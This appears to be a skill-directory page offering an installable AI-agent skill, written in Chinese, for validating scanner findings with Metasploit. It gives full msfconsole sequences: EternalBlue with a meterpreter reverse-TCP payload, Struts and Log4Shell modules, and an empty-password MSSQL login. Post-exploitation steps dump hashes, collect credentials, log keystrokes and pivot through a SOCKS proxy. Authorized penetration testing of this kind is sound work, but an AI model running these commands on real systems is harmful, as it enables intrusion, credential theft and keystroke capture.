exploiting-vulnerabilities-with-metasploit-framework
Metasploit Framework 是全球最广泛使用的渗透测试平台,由 Rapid7 维护,包含超过 2300 个漏洞利用模块、1200 个辅助模块和 400 个后渗透模块
Best use case
exploiting-vulnerabilities-with-metasploit-framework is best used when you need a repeatable AI agent workflow instead of a one-off prompt.
Metasploit Framework 是全球最广泛使用的渗透测试平台,由 Rapid7 维护,包含超过 2300 个漏洞利用模块、1200 个辅助模块和 400 个后渗透模块
Teams using exploiting-vulnerabilities-with-metasploit-framework should expect a more consistent output, faster repeated execution, less prompt rewriting.
When to use this skill
- You want a reusable workflow that can be run more than once with consistent structure.
When not to use this skill
- You only need a quick one-off answer and do not need a reusable workflow.
- You cannot install or maintain the underlying files, dependencies, or repository context.
Installation
Claude Code / Cursor / Codex
Manual Installation
- Download SKILL.md from GitHub
- Place it in
.claude/skills/exploiting-vulnerabilities-with-metasploit-framework/SKILL.mdinside your project - Restart your AI agent — it will auto-discover the skill
How exploiting-vulnerabilities-with-metasploit-framework Compares
| Feature / Agent | exploiting-vulnerabilities-with-metasploit-framework | Standard Approach |
|---|---|---|
| Platform Support | Not specified | Limited / Varies |
| Context Awareness | High | Baseline |
| Installation Complexity | Unknown | N/A |
Frequently Asked Questions
What does this skill do?
Metasploit Framework 是全球最广泛使用的渗透测试平台,由 Rapid7 维护,包含超过 2300 个漏洞利用模块、1200 个辅助模块和 400 个后渗透模块
Where can I find the source code?
You can find the source code on GitHub using the link provided at the top of the page.
SKILL.md Source
# 使用 Metasploit Framework 利用漏洞 ## 概述 Metasploit Framework 是全球最广泛使用的渗透测试平台,由 Rapid7 维护,包含超过 2300 个漏洞利用模块、1200 个辅助模块和 400 个后渗透模块。在漏洞管理场景中,Metasploit 作为验证工具,用于确认已发现的漏洞是否真实可利用,从而实现基于风险的优先级排序,并向利益相关方展示实际影响。 ## 前置条件 - 已安装 Metasploit Framework(Kali Linux 或独立安装) - PostgreSQL 数据库,用于会话/凭据管理 - 测试的书面授权和交战规则 - 隔离测试环境或已批准的生产测试窗口 - 了解网络、协议和漏洞利用概念 ## 核心概念 ### Metasploit 架构 - **msfconsole**:主要交互式命令行界面 - **Exploits(漏洞利用模块)**:利用漏洞获取访问权限的模块 - **Payloads(载荷)**:成功利用漏洞后在目标上执行的代码 - **Auxiliary(辅助模块)**:扫描、模糊测试和信息收集模块 - **Post-Exploitation(后渗透模块)**:用于权限提升、持久化、横向移动的模块 - **Encoders(编码器)**:载荷编码,用于规避基于特征码的检测 - **Nops(空操作生成器)**:用于载荷对齐的空操作生成器 ### 漏洞管理中的利用工作流程 与进攻性红队演练不同,漏洞管理使用 Metasploit 用于: 1. **验证**扫描器发现(确认可利用性) 2. **向**业务利益相关方**展示**风险 3. 根据已证实的利用路径**优先排序**修复 4. 通过确认漏洞不再成功利用来**验证**补丁 ## 实施步骤 ### 步骤 1:初始化 Metasploit 环境 ```bash # 启动 PostgreSQL 并初始化数据库 sudo systemctl start postgresql sudo msfdb init # 启动 msfconsole msfconsole -q # 验证数据库连接 msf6> db_status msf6> workspace -a vuln_validation_2025 # 导入漏洞扫描结果 msf6> db_import /path/to/nessus_scan.nessus msf6> hosts msf6> vulns ``` ### 步骤 2:验证特定漏洞 ```bash # 示例:从扫描发现中验证 MS17-010(EternalBlue) msf6> search type:exploit name:ms17_010 msf6> use exploit/windows/smb/ms17_010_eternalblue msf6> show options msf6> set RHOSTS 192.168.1.100 msf6> set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6> set LHOST 192.168.1.50 msf6> set LPORT 4444 # 先使用 check 命令(非利用性验证) msf6> check # [+] 192.168.1.100:445 - Host is likely VULNERABLE to MS17-010! # 仅在 check 确认漏洞存在且已获授权的情况下才进行利用 msf6> exploit # 示例:验证 Apache Struts RCE(CVE-2017-5638) msf6> use exploit/multi/http/struts2_content_type_ognl msf6> set RHOSTS target.example.com msf6> set RPORT 8080 msf6> set TARGETURI /showcase.action msf6> check # 示例:验证 Log4Shell(CVE-2021-44228) msf6> use exploit/multi/http/log4shell_header_injection msf6> set RHOSTS target.example.com msf6> set HTTP_HEADER X-Api-Version msf6> check ``` ### 步骤 3:辅助扫描验证 ```bash # SMB 漏洞扫描 msf6> use auxiliary/scanner/smb/smb_ms17_010 msf6> set RHOSTS 192.168.1.0/24 msf6> set THREADS 10 msf6> run # SSL/TLS 漏洞检查 msf6> use auxiliary/scanner/ssl/openssl_heartbleed msf6> set RHOSTS target.example.com msf6> run # HTTP 漏洞验证 msf6> use auxiliary/scanner/http/dir_listing msf6> set RHOSTS target.example.com msf6> run # 数据库认证测试 msf6> use auxiliary/scanner/mssql/mssql_login msf6> set RHOSTS db-server.corp.local msf6> set USERNAME sa msf6> set PASSWORD "" msf6> run ``` ### 步骤 4:后渗透影响评估 ```bash # 成功利用后,展示影响 meterpreter> getuid meterpreter> sysinfo meterpreter> hashdump meterpreter> run post/multi/gather/env meterpreter> run post/windows/gather/enum_patches meterpreter> run post/windows/gather/credentials/credential_collector # 网络横向移动演示 meterpreter> run post/multi/manage/autoroute meterpreter> run auxiliary/server/socks_proxy # 截图作为证据 meterpreter> screenshot meterpreter> keyscan_start ``` ### 步骤 5:记录和报告发现 ```bash # 导出利用证据 msf6> vulns -o /tmp/validated_vulns.csv msf6> hosts -o /tmp/compromised_hosts.csv msf6> creds -o /tmp/captured_creds.csv msf6> loot -o /tmp/captured_loot.csv # 从数据库生成报告 msf6> db_export -f xml /tmp/msf_report.xml ``` ### 步骤 6:修补后验证 ```bash # 修复后,验证漏洞利用不再有效 msf6> use exploit/windows/smb/ms17_010_eternalblue msf6> set RHOSTS 192.168.1.100 msf6> check # [-] 192.168.1.100:445 - Host does NOT appear vulnerable. # 补丁验证成功 ``` ## 安全控制 1. **始终先使用 `check` 命令**,在可用时先于 `exploit` 执行 2. **设置 AutoRunScript** 进行干净的会话管理 3. **使用 EXITFUNC=thread** 防止目标服务崩溃 4. **将载荷功能限制**在验证所需的最低限度 5. **记录每一个操作**,用于审计追踪和证据 6. **每次测试使用工作区隔离** 7. **切勿对未授权目标运行 Metasploit** ## 最佳实践 1. 在利用前先从漏洞检查模块开始 2. 仅使用 Metasploit 验证最高优先级的扫描器发现 3. 与系统所有者协调测试时间窗口 4. 维护所有利用尝试的详细日志 5. 测试后清理所有痕迹和会话 6. 使用结果为利益相关方创建有说服力的风险叙述 7. 将 Metasploit 验证集成到漏洞管理工作流程中 ## 常见陷阱 - 未获书面授权进行利用(法律责任) - 在未与相关方协调的情况下对生产系统利用 - 不清理 Meterpreter 会话和痕迹 - 混淆漏洞验证与渗透测试范围 - 对已修补系统使用过时的 Metasploit 模块 - 未记录利用证据供修复团队参考 ## 相关技能 - performing-red-team-validated-vulnerability-testing - scanning-infrastructure-with-nessus - performing-network-vulnerability-assessment
Related Skills
triaging-vulnerabilities-with-ssvc-framework
使用 CISA 的利益相关方特定漏洞分类(SSVC)决策树框架对漏洞进行分类和优先排序,产出可操作的修复优先级:Track、Track*、Attend 或 Act。
testing-for-xxe-injection-vulnerabilities
在授权的渗透测试中发现和利用 XML 外部实体(XXE)注入漏洞,以读取服务器文件、执行 SSRF 并外泄数据。
testing-for-xss-vulnerabilities
通过向反射型、存储型和 DOM 型上下文注入 JavaScript 载荷,测试 Web 应用程序的跨站脚本(XSS)漏洞, 演示客户端代码执行、会话劫持和用户冒充。测试人员识别所有注入点和输出上下文,构造适合上下文的载荷, 并绕过净化和 CSP 保护。适用于 XSS 测试、跨站脚本评估、客户端注入测试或 JavaScript 注入漏洞测试等请求场景。
testing-for-xss-vulnerabilities-with-burpsuite
在授权的安全评估过程中,使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本(XSS)漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS,验证自动化扫描器报告的 XSS 发现,以及评估 CSP 和 XSS 过滤器的有效性时使用。
testing-for-xml-injection-vulnerabilities
测试 Web 应用程序中的 XML 注入漏洞,包括 XXE(XML 外部实体注入)、XPath 注入和 XML 实体攻击,以识别数据泄露和服务器端请求伪造(SSRF)风险。
testing-for-open-redirect-vulnerabilities
通过分析 URL 重定向参数、绕过技术和利用链,识别并测试 Web 应用程序中的开放重定向漏洞,用于网络钓鱼和 Token 窃取。
testing-for-json-web-token-vulnerabilities
测试 JWT 实现中的关键漏洞,包括算法混淆、none 算法绕过、kid 参数注入和弱密钥利用,以实现认证绕过和权限提升。
testing-for-business-logic-vulnerabilities
识别应用程序业务逻辑中的缺陷,这些缺陷允许价格操控、工作流绕过和权限提升,超出技术漏洞扫描器的检测范围。
testing-android-intents-for-vulnerabilities
测试 Android 进程间通信(IPC)中 Intent 的安全漏洞,包括 Intent 注入、未授权组件访问、 广播嗅探、PendingIntent 劫持和 ContentProvider 数据泄露。适用于评估 Android 应用导出组件 攻击面、测试 Intent 数据流或评估 IPC 安全性的场景。适合涉及 Android Intent 安全、IPC 测试、 导出组件分析或 Drozer 评估的相关请求。
prioritizing-vulnerabilities-with-cvss-scoring
通用漏洞评分系统(CVSS)是由 FIRST(事件响应和安全团队论坛)维护的行业标准框架,用于评估漏洞严重性。CVSS v4.0 于 2023 年 11 月发布,引入了更精确的评分指标。
exploiting-zerologon-vulnerability-cve-2020-1472
利用 Netlogon 远程协议中的 Zerologon 漏洞(CVE-2020-1472),通过将机器账户密码重置为空来实现域控制器入侵。
exploiting-websocket-vulnerabilities
在授权安全评估中测试 WebSocket 实现的身份验证绕过、跨站劫持、注入攻击和不安全消息处理。